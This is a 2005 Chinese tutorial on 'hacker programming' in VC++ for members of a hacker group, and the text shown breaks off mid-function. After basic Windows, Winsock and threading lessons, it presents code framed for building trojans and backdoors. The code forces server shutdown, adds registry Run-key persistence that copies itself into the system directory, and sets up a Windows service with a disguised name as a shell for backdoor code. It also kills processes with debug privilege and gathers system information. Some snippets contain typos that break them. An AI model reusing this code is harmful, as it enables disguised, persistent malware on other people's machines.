序言

新红盟创建,招收大量成员,部分成员使用工具尚可,但是对于自己编写工具存在一定难度.因此,我根据自己的编程经验并结合部分资料, 写了这本黑客编程教程,希望对大家有所帮助.

提示:本教程的工具编写,全部使用VC++,使用本教程的成员需要拥有VC++基础.

声明:本教程为个人编写,鉴于个人水平有限,可能存在不少不足之处,请各位批评指正. 教程中参考了部分资料,对资料的所有者表示感谢!

晓风残月

QQ:272519067

2005年7月27日夜 于青岛


                                           第一节 了解Windows机制

      Windows 是一个“基于事件的，消息驱动的”操作系统。

    在Windows下执行一个程序，只要用户进行了影响窗口的动作（如改变窗口大小或移动、单击鼠标等）该动作就会触发一个相应的“事件”
系统每次检测到一个事件时，就会给程序发送一个“消息”，从而使程序可以处理该事件。

    每个Windows 应用程序都是基于事件和消息的，而且包含一个主事件循环，它不停地、反复地检测是否有用户事件发生。每次检测到一个
用户事件，程序就对该事件做出响应，处理完再等待下一个事件的发生。

    Windows 下的应用程序不断地重复这一过程，直至用户终止程序，用代码来描述实际上也就是一个消息处理过程的while循环语句。

    下面便简单介绍一下与 Windows 系统密切相关的几个基本概念：

    1:窗口：这是我要说的第一个概念。窗口是Windows本身以及Windows 环境下的应用程序的基本界面单位，但是很多人都误以为只有具有
标题栏、状态栏、最大化、最小化按钮这样标准的方框才叫窗口。其实窗口的概念很广，例如按钮和对话框等也是窗口，只不过是一种特殊化
窗口罢了。

    从用户的角度看，窗口就是显示在屏幕上的一个矩形区域，其外观独立于应用程序，事实上它就是生成该窗口的应用程序与用户间的直观
接口；从应用程序的角度看，窗口是受其控制的一部分矩形屏幕区。应用程序生成并控制与窗口有关的一切内容，包括窗口的大小、风格、位
置以及窗口内显示的内容等。用户打开一个应用程序后，程序将创建一个窗口，并在那里默默地等待用户的要求。每当用户选择窗口中的选
项，程序即对此做出响应。

    2:程序：通常说的程序都是指一个能让计算机识别的文件，接触得最多的便是.exe型的可执行文件.

    3:进程：说到进程，学过《操作系统》的人都很清楚，所谓进程就是应用程序的执行实例（或称一个执行程序） 需要注意的是：进程是
程序动态的描述，而上面说到的程序是静态的描述，两者有本质的区别。举个例子，从网上 Down了一个瑞星杀毒软件到C盘但没有运行，那
个.exe 可执行文件叫做程序，它是一个二进制码的文件。一旦双击了exe文件图标运行程序，那个“正在运行着的瑞星杀毒”便称为进程，它
在双击的那一刻被系统创建，当你关机或者在任务栏的图标上单击鼠标右键选“退出”时，进程便消亡，彻底结束了生命。进程经历了由“创
建”到“消亡”的生命期，而程序自始至终存在于你的硬盘上，不管你的机器是否启动。

    4:线程：线程是进程中的一个执行单元，同一个进程中的各个线程对应于一组CPU指令、一组CPU寄存器以及一堆栈。进程本来就具有动态
的含义，然而实质上是通过线程来执行体现的，从这个意义上说，Windows 中进程的动态性意义已经不是很明显了，只算是给程序所占的资源
划定一个范围而已，真正具有动态性意义的是线程。

   5:消息：我们几乎做每一个动作都会产生一个消息,鼠标被移动会产生WM_MOUSEMOVE消息，鼠标左键被按下会产生WM_LBUTTONDOWN的消
息，鼠标右键按下便产生WM_RBUTTONDOWN消息等等。所有的这些都可以通过GetMessage，SendMessage等函数得到.

   6:事件:如在程序运行的过程中改变窗口的大小或者移动窗口等，都会触发相应的“事件”。

    7:句柄：单单一个“柄”字便可以解释它的意思了，我们天气热摇扇子的时候只要抓住扇柄便可以控制整个扇子的运动了，在程序中也
差不多是这个意思。通常一个句柄就可以传递我们所要做的事情。有经验的成员肯定清楚，编写程序总是要和各种句柄打交道的，句柄是
系统用来标识不同对象类型的工具，如窗口、菜单等，这些东西在系统中被视为不同类型的对象，用不同的句柄将他们区分开来。

    C++ 教材中给句柄下的定义是：“在Win32里，句柄是指向一个无值型对象（void *）的指针，是一个4字节长的数据”。从结构
上看，句柄的确是一个指针，尽管它没有指向用于存储某个对象的内存位置，而实际上句柄指向的是一个包含了对该对象进行的引用的位置。
在编程时，只要抓住了对象的句柄就可以对该对象进行操作了.

    8:API与SDK：API是英文 Application Programming Interface 的简称，意为“应用程序接口”，泛指系统为应用程序提供的一系列接
口函数。其实质是程序内的一套函数调用，在编程的时候可以直接调用，而不必知道其内部实现的过程，只知道它的原型和返回值就可以
了.
    SDK是英文 Software Development Kit 的缩写,指“软件开发工具包”，在防火墙的设计中就经常涉及到SDK。


                                          第二节 Win API编程简介

   下面介绍一下WIN API.
   我们需要自己编写一个工具时,必然会用到很多操作windows和控制windows的函数,这些函数就是windows API.

   API是Application Progamming Interface的缩写.就是说API是一系列已经定义的在windows内部的函数,是应用程序和系统之间的
桥梁,应用程序通过调用API来请求系统完成一系列的任务.窗口,菜单,文件操作等都是通过API实现的.

   WIN32 API就是WINDOWS 32位平台的应用程序接口.现在可视化编程工具提供了大量控件,他们代替了API的功能.这些控件都是构建
在WIN32 API之上的.是封装了的API函数集合.但是对于比较复杂和特殊功能(想我们的黑客编程)来说,就必须用API函数来实现.

   WIN API存放在动态链接库(DLL)中,在98系统中,有32位的GDI32.DLL,KERNEL32.DLL,16位的GDI.EXE,KRNL386.EXE.API就存放在这些
动态链接库中.

   木马和后门其实就是使用了文件操作函数,这里做简要介绍:
    删除文件:BOOL DeleteFile(LPCTSH lpFileName)
    复制文件:BOOL CopyFile()
    移动文件:BOOL MoveFile()等等
具体的API可以上网自己去查看,有很多介绍API的书籍.


                                         第四节 关于服务器和客户端编程

       在网络编程中,最常用和最基础的就是WINSOCK. 现在我们讨论WINDOWS下的SOCKET编程.

       大凡在WIN32平台上的WINSOCK编程都要经过下列步骤:
     定义变量->获得WINDOCK版本->加载WINSOCK库->初始化->创建套接字->设置套接字选项->关闭套接字->卸载WINSOCK库->释放资源

    下面介绍WINSOCK C/S的建立过程:

    服务器                        客户端
________________________________________________
1  初始化WSA                     1  初始化WSA
____________________________________________________
2  建立一个SOCKET                2  建立一个SOCKET
_____________________________________________________
3  绑定SOCKET                    3  连接到服务器
_____________________________________________________
4  在指定的端口监听              4  发送和接受数据
_____________________________________________________
5  接受一个连接                  5   断开连接
______________________________________________________-
6  发送和接受数据
___________________________________________________
7  断开连接
__________________________________________________

   大家注意,在VC中进行WINSOCK编程时,需要引入如下两个库文件:WINSOCK.H(这个是WINSOCK API的头文件,WIN2K以上支持WINSOCK2,所以
可以用WINSOCK2.H);Ws2_32.lib(WINSOCK API连接库文件).
使用方式如下:
              #include <winsock.h>
          #pragma comment(lib,"ws2_32.lib")

  下面我们通过具体的代码演示服务器和客户端的工作流程:

 首先,建立一个WSADATA结构,通常用wsaData
 WSADATA wsaData;

 然后,调用WSAStartup函数,这个函数是连接应用程序与winsock.dll的第一个调用.其中,第一个参数是WINSOCK 版本号,第二个参数是指向
 WSADATA的指针.该函数返回一个INT型值,通过检查这个值来确定初始化是否成功.调用格式如下:WSAStartup(MAKEWORD(2,2),&wsaData),其中
MAKEWORD(2,2)表示使用WINSOCK2版本.wsaData用来存储系统传回的关于WINSOCK的资料.

if(iResuit=WSAStartup(MAKEWORD(2,2),&wsaData)!=0)
{
    printf("WSAStartup failed:%d",GetLastError());  //返回值不等与0,说明初始化失败
        ExitProcess();                                  //退出程序
}

应用程序在完成对请求的SOCKET库使用后,要调用WSACleanup函数来接触SOCKET库的绑定,并且释放资源.

注意WSAStartup初始化后,必须建立一个SOCKET结构来保存SOCKET句柄.

下面我们建立一个SOCKET.

首先我们建立一个m_socket的SOCKET句柄,接着调用socket()函数,函数返回值保存在m_socket中.我们使用AF_INFE,SOCK_STREAM,IPPROTO_TCP
三个参数.第一个表示地址族,AF_INFE表示TCP/IP族,第二个表示服务类型,在WINSOCK2中,SOCKET支持以下三种类型;

SOCK_STREAM 流式套接字
SOCK_DGRAM  数据报套接字
SOCK_RAW    原始套接字

第三个参数表示协议:

IPPROTO_UDP  UDP协议 用于无连接数据报套接字
IPPROTO_TCP  TCP协议 用于流式套接字
IPPROTO_ICMP ICMP协议用于原始套接字

m_socket=socket(AF_INFE,SOCK_STREAM,IPPROTO_TCP);    //创建TCP协议

以下代码用于检查返回值是否有错误:

if(m_scoket==INVALID_SOCKET)
{
    prinrf("Error at socket():%d\n",GetLastError());
    WSACleanup();                                   //释放资源
    return;
}
说明,如果socket()调用失败,他将返回INVALID_SOCKET.

    为了服务器能接受一个连接,他必须绑定一个网络地址,下面的代码展示如何绑定一个已经初始化的IP和端口的Socket.客户端程序用这个
IP地址和端口来连接服务器.

sockaddr_in service;
service.sin_family=AF_INET;                       //INTERNET地址族
service.sin_addr.s_addr=inet_addr("127.0.0.1");   //将要绑定的本地IP地址
service.sin_port=htons(27015);                     //27015将要绑定的端口

下面我们调用BIND函数,把SOCKET和SOCKADDR以参数的形式传入,并检查错误.

if(bind(m_socket,(SOCKADDR*)&SERVICE,sizeof(service))==SOCKET_ERROR)
{
    printf("bind() failed.\n");
    closesocket(m_socket);
    return;
}

   当绑定完成后,服务器必须建立一个监听队列,以接受客户端的请求.listen()使服务器进入监听状态,该函数调用成功返回0,否则返回
SOCKET_ERROR.代码如下:

if(listen(m_socket,1)==SOCKET-ERROR)
{
    printf("error listening on socket.\n");
}

服务器端调用完LISTEN()后,如果此时客户端调用CONNECT()函数,服务器端必须在调用ACCEPT().这样服务器和客户端才算正式完成通信程序的
连接动作.

一旦服务器开始监听,我们就要指定一个句柄来表示利用ACCEPT()函数接受的连接,这个句柄是用来发送和接受数据的表示.建立一个SOCKET句柄
Socket AcceptSocket 然后利用无限循环来检测是否有连接传入.一但有连接请求,ACCEPT()函数就会被调用,并且返回这次连接的句柄.

printf("waitong for a client to connect...\n");
while(1)
{
    AcceptSocket=SOCKET_ERROR;
    while(AcceptSocket==SOCKET_ERROR)
    {
        AcceptSocket=accept(m_socket,NULL,NULL);
    }
}

下面看客户端端代码:

sockaddr_in clientService;
clientService.sin_family=AF_INET;                       //INTERNET地址族
clientService.sin_addr.s_addr=inet_addr("127.0.0.1");   //将要绑定的本地IP地址
clientService.sin_port=htons(27015);                     //27015将要绑定的端口

下面调用CONNECT()函数:

if ( connect( m_socket, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR)
{
        printf( "Failed to connect.\n" );
        WSACleanup();
        return;
}                                                                     //如果调用失败清理退出
                                                                      //调用成功继续读写数据

_________________________________________________________________________________________________
到这里,服务器和客户端的基本流程介绍完毕,下面我们介绍数据交换.

send():
int send
{
    SOCKET s,                    //指定发送端套接字
    const char FAR?*buf,         //指明一个存放应用程序要发送的数据的缓冲区
    int len,                     //实际要发送的数据字节数
    int flags                    //一般设置为0
};
 C/S都用SEND函数向TCP连接的另一端发送数据.

recv():
int recv
{
    SOCKET s,                    //指定发送端套接字
    char FAR?*buf,              //指明一个缓冲区 存放RECC受到的数据
    int len,                     //指明BUF的长度
    int flags                    //一般设置为0

};
C/S都使用RECV函数从TCP连接的另一端接受数据

_______________________________________________________________________________________________

下面将完整的程序代码提供如下,大家可直接编译运行

首先看客户端的代码:

#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void main() {

                                                                         // 初始化 Winsock.
    WSADATA wsaData;
    int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
    if ( iResult != NO_ERROR )
        printf("Error at WSAStartup()\n");

                                                                            // 建立socket socket.
    SOCKET client;
    client = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

    if ( client == INVALID_SOCKET ) {
        printf( "Error at socket(): %ld\n", WSAGetLastError() );
        WSACleanup();
        return;
    }

                                                                             // 连接到服务器.
    sockaddr_in clientService;

    clientService.sin_family = AF_INET;
    clientService.sin_addr.s_addr = inet_addr( "127.0.0.1" );
    clientService.sin_port = htons( 27015 );

    if ( connect( client, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR) {
        printf( "Failed to connect.\n" );
        WSACleanup();
        return;
    }

                                                                                // 发送并接收数据.
    int bytesSent;
    int bytesRecv = SOCKET_ERROR;
    char sendbuf[32] = "Client: Sending data.";
    char recvbuf[32] = "";

    bytesSent = send( client, sendbuf, strlen(sendbuf), 0 );
    printf( "Bytes Sent: %ld\n", bytesSent );

    while( bytesRecv == SOCKET_ERROR ) {
        bytesRecv = recv( client, recvbuf, 32, 0 );
        if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) {
            printf( "Connection Closed.\n");
            break;
        }
        if (bytesRecv < 0)
            return;
        printf( "Bytes Recv: %ld\n", bytesRecv );
    }

    return;
}

下面是服务器端代码:

#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void main() {

                                                                              // 初始化
    WSADATA wsaData;
    int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
    if ( iResult != NO_ERROR )
        printf("Error at WSAStartup()\n");

                                                                                // 建立socket
    SOCKET server;
    server = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

    if ( server == INVALID_SOCKET ) {
        printf( "Error at socket(): %ld\n", WSAGetLastError() );
        WSACleanup();
        return;
    }

                                                                                // 绑定socket
    sockaddr_in service;

    service.sin_family = AF_INET;
    service.sin_addr.s_addr = inet_addr( "127.0.0.1" );
    service.sin_port = htons( 27015 );

    if ( bind( server, (SOCKADDR*) &service, sizeof(service) ) == SOCKET_ERROR ) {
        printf( "bind() failed.\n" );
        closesocket(server);
        return;
    }

                                                                              // 监听 socket
    if ( listen( server, 1 ) == SOCKET_ERROR )
        printf( "Error listening on socket.\n");

                                                                                // 接受连接
    SOCKET AcceptSocket;

    printf( "Waiting for a client to connect...\n" );
    while (1) {
        AcceptSocket = SOCKET_ERROR;
        while ( AcceptSocket == SOCKET_ERROR ) {
            AcceptSocket = accept( server, NULL, NULL );
        }
        printf( "Client Connected.\n");
        server = AcceptSocket;
        break;
    }

                                                                                // 发送接受数据
    int bytesSent;
    int bytesRecv = SOCKET_ERROR;
    char sendbuf[32] = "Server: Sending Data.";
    char recvbuf[32] = "";

    bytesRecv = recv( server, recvbuf, 32, 0 );
    printf( "Bytes Recv: %ld\n", bytesRecv );

    bytesSent = send( server, sendbuf, strlen(sendbuf), 0 );
    printf( "Bytes Sent: %ld\n", bytesSent );

    return;
}
本程序仅仅描述了同步的情况!


                                              第五节 多线程编程介绍

    对于多线程的基本概念,我不在赘述,是个只要学习过一门编程语言就应该多进程和线程有个基本的了解.这里重点介绍一下如何实现多线程.

通常一个程序的主线程有操作系统创建,如果想让其创建额外的线程,可以调用CreateThread()函数来完成.函数原形如下:

HANDLE CreateThread()
{
    LPSECURITY_ATTRIBUTES LPThreadAttributes,  //指向SECURITY_ATTRIBUTES的指针
    SIZE_T dwStackSize,                        //表示线程为自己所用堆栈分配的地址空间的大小 系统缺省值为0
    LPTHREAD_START-TOUTINE lpStartAddress,     //表示新线程开始执行时代码所在函数的地址 即线程函数名
    LPVOID lpParameter,                        //是传入线程函数的参数
    DWORD dwCreationFlags,                     //指定控制线程创建的附加标志 取0线程立即执行 取CREATE_SUSPENDED线程挂起
    LPDWORD lpThreadld                         //是个DWORD类型的地址,返回赋给该新线程的ID
}

线程函数lpParameter必须有以下原形:

DWORD WINAPI XXXThreadFun(LPVOID lpParameter)
{
    return(0);
}

________________________________________________________________________________________________
下面我们来创建一个线程:

#include <windows.h>
#include <stdio.h>
DWORD WINAPI ThreadFunc( LPVOID lpParam )                         //线程函数，跟普通的函数没什么两样
{
    printf( "Parameter = %d.", *(DWORD*)lpParam );
return 0;
}

VOID main( VOID )
{
    DWORD dwThreadId, dwThrdParam = 1;
    HANDLE hThread;
 hThread = CreateThread( NULL,0,ThreadFunc,&dwThrdParam, 0,&dwThreadId);
      if (hThread == NULL)
   {
      printf( "CreateThread failed (%d)\n", GetLastError() );
   }
   else
   {
      _getch();
      CloseHandle( hThread );
   }
}

关于线程同步的问题,这里就不再讲解,请大家自己查阅资料,不查阅以后可能会有困难啊.培养一下各位的自己动手能力.


本部分代码都是我在学习C++的过程中自己编写或者收集的

程序,由于个人的水平有限,其中难免有纰漏,请各位指正.

各代码都经过测试,均可以直接运行.


                                           第一节 Windows的关机和重起

   很多木马都有远程关机功能,但这并不是一个很好的功能.不过对于入侵服务器,有时需要重起服务器.其实对于关机和重起,只需要调用几个
API函数即可实现.
对于WIN9X系统,可以直接调用,对于WIN2K以上,出于安全考虑,稍有不同,下面分别看一下.

  9X系统:
   ExitWindowsEx(EWX_LOGOFF,0);     //注销
   ExitWindowsEx(EWX_REBOOT,0);     //重启
   ExitWindowsEx(EWX_SHUTDOWN,0);   //关机

在程序中直接调用即可.

   2K以上系统:

    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    OSVERSIONINFO osvi;
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);                               // 取得系统版本

    if (GetVersionEx(&osvi) == 0)
    return false;

    if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
    {
                                        // Windows NT 3.51, Windows NT 4.0, Windows 2000,
                                        // Windows XP,  Windows .NET Server
        if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
                                             //打开当前进程访问代号
        return false;

        LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
                                    //获取本地唯一标识用于在特定系统中设置权限

        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
                                                //提升访问令牌权限
     }

    ExitWindowsEx(EWX_FORCE, 0);//强制关机，不向进程发送WM_QUERYENDSESSION消息


                                         第二节 程序从注册表自启动

     先向大家介绍能让WINDOWS自动启动的2个文件和8个注册键

1: 当前用户专用的启动文件夹 将快捷方式放入WINDOWS的用户启动文件夹中.
   路径:系统盘:\Document and Settings\<用户名称>\"开始"\程序\启动

2:所有用户的启动文件夹
  路径:系统盘:\Document and Settings\ALL USER\"开始"\程序\启动

以下是注册键,均可以通过注册表直接搜索得到

3:LOAD注册键

4:USERINIT注册键

5:EXPLORER\RUN注册键

6:RUNSERVICESONCE注册键

7:RUNSERVICES注册键

8:RUNONCE\STEUP注册键

9:RUNONCE注册键

10:RUN注册键

下面介绍一下通过编程实现程序自启动

#include <stdio.h>
#include <windows.h>
int main(void)
{
char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hkResult;
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);                            //打开关键字

ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%\\hacker.exe",25);
                                            //设置键值
if(ret==0){
  printf("success to write run key\n");
  RegCloseKey(hkResult);
  }
else {
    printf("failed to open regedit.%d\n",ret);
    return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0,modlepath,256);                                       //取得程序名字
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"\\hacker.exe"),1);
if(ret)
{
    printf("%s has been copyed to sys dir %s\n",modlepath,syspath);
}
else printf("%s is exisis",modlepath);
return 0;
}


                                                    第三节 编写NT服务

   先介绍一下什么是NT服务,实际上就是一个可以在系统启动时自动在一定身份下启动的,伴随着系统长期存在的进程.

  一个NT服务有三部分构成:
  1:Service Control Manager(SCM) 每个WIN NT/2K都有一个SCM,他存在于Service.exe中.
  2:服务本身 一个服务拥有能从SCM受到信号和命令所必需的特殊代码,并能够在处理后将他的状态返回SCM.
  3:Service Control Dispatcher(SCP) 他是一个拥有用户截面,允许用户开始,暂停,继续,并且控制已经安装在计算机上作为服务运行的WIN32
 应用程序

下面我们来看编写一个NT服务:(这是一个服务框架,只要在他后面添加自己的后门代码,那么后门就可以实现服务方式启动)
请大家对照注释仔细研究!

#include <stdio.h>
#include <windows.h>
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning=true;
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv);                         //服务主函数
void WINAPI ServiceCtrlHandler(DWORD Opcode);                               //服务控制函数
void WINAPI CmdStart(void); 							//要启动的程序函数
BOOL InstallService();   						//安装服务的函数
BOOL DeleteService();   						 //删除服务的函数

int main(int argc, char* argv[])
{
    printf("\twindows based service demo\n");
    printf("\tgxisone@hotmail.com\n");
    if(argc!=3)
    {
        printf("usage: %s -install[remove]",argv[0]);
        return 0;
    }
        if(strcmp(argv[1],"-install")==0)                            //安装
        {
            if(InstallService())
                printf("\n\nService Installed Sucessfully\n");
            else
                printf("\n\nError Installing Service\n");
        }
    else if(strcmp(argv[1],"-remove")==0)                                 // 删除
        {
            if(DeleteService())
                printf("\n\nService remove sucessfully\n");
            else
                printf("\n\nError removing Service\n");
        }
        else
        {
            printf("\nusage: %s -install[remove]\n",argv[0]);
            return 0;
        }
                                    //在进入点函数里面要完成ServiceMain的初始化，
                                    //准确点说是初始化一个SERVICE_TABLE_ENTRY结构数组，
                                //这个结构记录了这个服务程序里面所包含的所有服务的名称
                            //和服务的进入点函数
SERVICE_TABLE_ENTRY
DispatchTable[]={{"WindowsMgr",ServiceMain},{NULL,NULL}};
                                    //最后的NULL指明数组的结束
      StartServiceCtrlDispatcher(DispatchTable);
        return 0;
}

void WINAPI ServiceMain(DWORD argc, LPTSTR *argv)
{
    m_ServiceStatus.dwServiceType = SERVICE_WIN32;
    m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
    m_ServiceStatus.dwWin32ExitCode = 0;
    m_ServiceStatus.dwServiceSpecificExitCode = 0;
    m_ServiceStatus.dwCheckPoint = 0;
    m_ServiceStatus.dwWaitHint = 0;
    m_ServiceStatusHandle = RegisterServiceCtrlHandler("WindowsMgr",ServiceCtrlHandler);
    if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)return;
    m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;					 //设置服务状态
    m_ServiceStatus.dwCheckPoint = 0;
    m_ServiceStatus.dwWaitHint = 0;
                            //SERVICE_STATUS结构含有七个成员，它们反映服务的现行状态。
                        //所有这些成员必须在这个结构被传递到SetServiceStatus之前正确的设置
SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus);
     bRunning=true;
    //*
    CmdStart(); 							//启动我们的服务程序
    //*
    return;
}
void WINAPI ServiceCtrlHandler(DWORD Opcode)					//服务控制函数
{
    switch(Opcode)
    {
    case SERVICE_CONTROL_PAUSE:
        m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
        break;
    case SERVICE_CONTROL_CONTINUE:
        m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
        break;
    case SERVICE_CONTROL_STOP:
        m_ServiceStatus.dwWin32ExitCode = 0;
        m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        m_ServiceStatus.dwCheckPoint = 0;
        m_ServiceStatus.dwWaitHint = 0;
        SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
        bRunning=false;
        break;
    case SERVICE_CONTROL_INTERROGATE:
        break;
    }
    return;
}
BOOL InstallService()   						//安装服务函数
{
    char strDir[1024];
    SC_HANDLE schSCManager,schService;
    GetCurrentDirectory(1024,strDir);
    GetModuleFileName(NULL,strDir,sizeof(strDir));

    char chSysPath[1024];
    GetSystemDirectory(chSysPath,sizeof(chSysPath));

    strcat(chSysPath,"\\WindowsMgr.exe");
if(!CopyFile(strDir,chSysPath,FALSE))printf("Copy file OK\n");                    // 把我们的服务程序复制到系统根目录

    strcpy(strDir,chSysPath);
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
    if (schSCManager == NULL)
    {
        printf("open scmanger failed,maybe you do not have the privilage to do this\n");
        return false;
    }

    LPCTSTR lpszBinaryPathName=strDir;

    schService = CreateService(schSCManager,"WindowsMgr","Windows Manger Control", //将服务的信息添加到SCM的数据库
        SERVICE_ALL_ACCESS,
        SERVICE_WIN32_OWN_PROCESS, // 服务类型
        SERVICE_AUTO_START, // 启动类型
        SERVICE_ERROR_NORMAL,
        lpszBinaryPathName, // 服务名
        NULL,
        NULL,
        NULL,
        NULL,
        NULL);

        if (schService == NULL)
    {
        printf("faint,we failed just because we invoke createservices failed\n");
        return false;
    }
    CloseServiceHandle(schService);
    return true;
}
BOOL DeleteService()
{
    SC_HANDLE schSCManager;
    SC_HANDLE hService;
    schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);

    char chSysPath[1024];
    GetSystemDirectory(chSysPath,sizeof(chSysPath));
    strcat(chSysPath,"\\WindowsMgr.exe");

    if (schSCManager == NULL)
    {
        printf("faint,open scmanger failed\n");
        return false;
    }
    hService=OpenService(schSCManager,"WindowsMgr",SERVICE_ALL_ACCESS);
    if (hService == NULL)
    {
        printf("faint,open services failt\n");
        return false;
    }
    if(DeleteFile(chSysPath)==0)
        {
            printf("Dell file Failure !\n");
            return false;
        }
    else printf("Delete file OK!\n");
    if(DeleteService(hService)==0)
        return false;

    if(CloseServiceHandle(hService)==0)
        return false;
    else
        return true;
}

void WINAPI CmdStart(void)
{

                                        //把你的要做成服务启动的程序代码添加到这里
                                        //那么你的代码就可以作为NT服务启动了

}


                                               第四节 进程创建

  我们使用CreateProcess来创建进程.

我们先看一下函数原形:
BOOL CreateProcess(LPCTSTR LPApplicationName,                          //可执行模块名
                   LPTSTR lpCommandLine,				//命令字符串
                   LPSECURITY_ATTRIBUTES  lpProcessAttributes,         //线程安全属性
                   LPSECURITY_ATTRIBUTES  lpThreadAttributes,		//线程安全属性
                   BOOL binheritHandles,      				//句柄继承
           DWORD dwCreationFlags,				//创建标志
           LPVODI lpEnvironment,				//新的环境变量
                   LPCTSTR lpVurrentDirectory,				//当前目录名
           lpstartupinfo LPSTARTUPINFO,				//启动信息
                     LPPROCESS_INFORTMATION lpPrecessinformation)          //进程信息

下面创建一个IE进程:

#include<windows.h>
int main()
{
    STARTUPINFO si;                            				 //进程启动时需要初始化的结构
    PROCESS_INFORMATION pi;                           			//进程启动后的有关信息
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfo(&si);
    si.wShowWindow = SW_SHOW;                     				 //这里设置窗口为显示，SW_HIDE为隐藏窗口
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    CreateProcess("C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE",
    NULL,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi);
    return 0;
}


                                           第五节 查杀进程

    我们在编写木马和后门程序时,列出和查杀进程是非常重要的.

列出进程我们使用palist函数:
void pslist(void)
{
    HANDLE hProcessSnap = NULL;
    PROCESSENTRY32 pe32= {0};
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == (HANDLE)-1)
    {
        printf("\nCreateToolhelp32Snapshot() failed:%d",GetLastError());
        return ;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    printf("\nProcessName　　　　 ProcessID");
    if (Process32First(hProcessSnap, &pe32))
    {
        char a[5];
        do
        {
            itoa(pe32.th32ProcessID,a,10);
            printf("\n%-20s%d",pe32.szExeFile,pe32.th32ProcessID);
        }
        while (Process32Next(hProcessSnap, &pe32));
    }
    else
    {
         printf("\nProcess32Firstt() failed:%d",GetLastError());
    }
    CloseHandle (hProcessSnap);
    return;
}

上边的代码列出了进程的PID,有了PID我们就可以使用PSKILL杀进程:

BOOL killps(DWORD id)
{
    HANDLE hProcess=NULL,hProcessToken=NULL;
    BOOL IsKilled=FALSE,bRet=FALSE;
    try
    {

        if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hProcessToken))
        {
            printf("\nOpen Current Process Token failed:%d",GetLastError());
            leave;
        }
        //printf("\nOpen Current Process Token ok!");
        if(!SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE))
        {
            leave;
        }
        printf("\nSetPrivilege ok!");

        if((hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id))==NULL)
        {
            printf("\nOpen Process %d failed:%d",id,GetLastError());
            leave;
        }
        //printf("\nOpen Process %d ok!",id);
        if(!TerminateProcess(hProcess,1))
        {
            printf("\nTerminateProcess failed:%d",GetLastError());
            leave;
        }
        IsKilled=TRUE;
    }
    finally
    {
        if(hProcessToken!=NULL) CloseHandle(hProcessToken);
        if(hProcess!=NULL) CloseHandle(hProcess);
    }
    return(IsKilled);
}

BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)     //提升权限
{
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
    {
        printf("\nLookupPrivilegeValue error:%d", GetLastError() );
        return FALSE;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;
    AdjustTokenPrivileges(
                hToken,
                FALSE,
                &tp,
                sizeof(TOKEN_PRIVILEGES),
                (PTOKEN_PRIVILEGES) NULL,
                (PDWORD) NULL);
    if (GetLastError() != ERROR_SUCCESS)
    {
        printf("AdjustTokenPrivileges failed: %u\n", GetLastError() );
        return FALSE;
    }
    return TRUE;
}


                                       第六节 获得系统详细信息

木马程序一般都能获得系统详细信息,下面的代码获得计算机名,内存容量,驱动器类型:

#include<stdio.h>
#include<windows.h>

void GetSysInfo();

DWORD GetOS()
{
    OSVERSIONINFO os;

    os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
    GetVersionEx(&os);
    switch(os.dwPlatformId)
    {
        case VER_PLATFORM_WIN32_WINDOWS:
        return VER_PLATFORM_WIN32_WINDOWS;

        case VER_PLATFORM_WIN32_NT:
